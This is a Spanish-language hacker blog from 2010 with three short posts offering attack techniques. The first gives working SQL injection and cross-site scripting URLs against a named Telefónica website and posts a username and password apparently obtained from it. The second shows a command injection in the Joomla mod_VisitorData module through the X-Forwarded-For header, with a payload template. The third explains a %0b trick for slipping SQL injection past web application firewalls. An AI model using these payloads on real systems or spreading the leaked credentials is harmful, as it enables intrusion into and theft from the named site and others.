Personal information:

A Coruña, Galicia, Spain

domingo, 16 de mayo de 2010

be secure, my friend...

Supongo que todos conocémos Timofónica no?:

[sqli] http://pulso.telefonica.es/articulo.php?id=-70%27/*!UNION%0bSELECT%0b1,2,3,4,5,6,@@version,8,9,10,11,12,13,14,15*//*&id_submenu=11

[xss] http://pulso.telefonica.es/resultado_busqueda.php?busca=%27%3E%3Cscript%3Ealert%28%22XSS%20by%20r0i%22%29;%3C/script%3E%3C

ahora podremos conocerla mejor >:)~...

user: sample
password: FF6ECAE8

-H4ppyH4ck1n9-

sábado, 1 de mayo de 2010

mod_VisitorData 1.1 Joomla! Remote Code Execution

Gracias a mi colega CH1P D3 BIOS, que descubrió una vulnerabilidad en el código del módulo mod_VisitorData, fuimos capaces de explotar el fallo en la programación de este, el cual puede ser calificado de Remote Code Execution (RCE).

La vulnerabilidad la podréis ver en el siguiente fragmento de código:



Este condicional IF comprueba si X-Forwarded-For aparece en la cabecera HTTP.
De ser así, obtendría nuestra IP de el contenido de esta variable del servidor, y no de REMOTE_ADDR, como suele suceder.
Entonces,si insertamos la cabecera X-Forwarder-For, tomará su contenido como el valor de nuestra IP, sin ningún tipo de filtrado de carácteres ni ná, y ejecutará el siguiente comando:

$whois ="whois " . $_SERVER['HTTP_X_FORWARDED_FOR'] ." | grep netname";

Jugando con la terminal, se puede comprobar que puede ser bypasseado, y manipulado para que cumpla nuestros deseos :D:

X-Forwarded-For:;[command-here];1

Por ejemplo, lo que daria lugar a:

~$whois ; [command-here];1|grep netname

Provocando un par de errores, pero ejecutando nuestro comando.

Gracias a Chip D3 Bios por su descubrimiento!!

-H4ppyH4ck1n9-

Otra finta mas :)~

Seguro que ya muchos conoceis el uso de los paréntesis en las consultas MySQL para evitar los espacios entre palabras (ej: (1)and(1) ).
Pues resulta que el motor de base de datos MySQL interpreta el caracter "%0b" como un perfecto sustituto de los espacios en blanco, permitiéndonos realizar consultas inyectadas más directamente :D :

vuln.php?foo=99%0band%0b1=1--

mucho mas sencillo, y con una funcionalidad mayor, que:

vuln.php?foo=(-99999)and(1=1)--

Claro, esta es otra forma con la que podemos evitar los WAF's, así que ya sabeis..

-H4ppyH4ck1n9-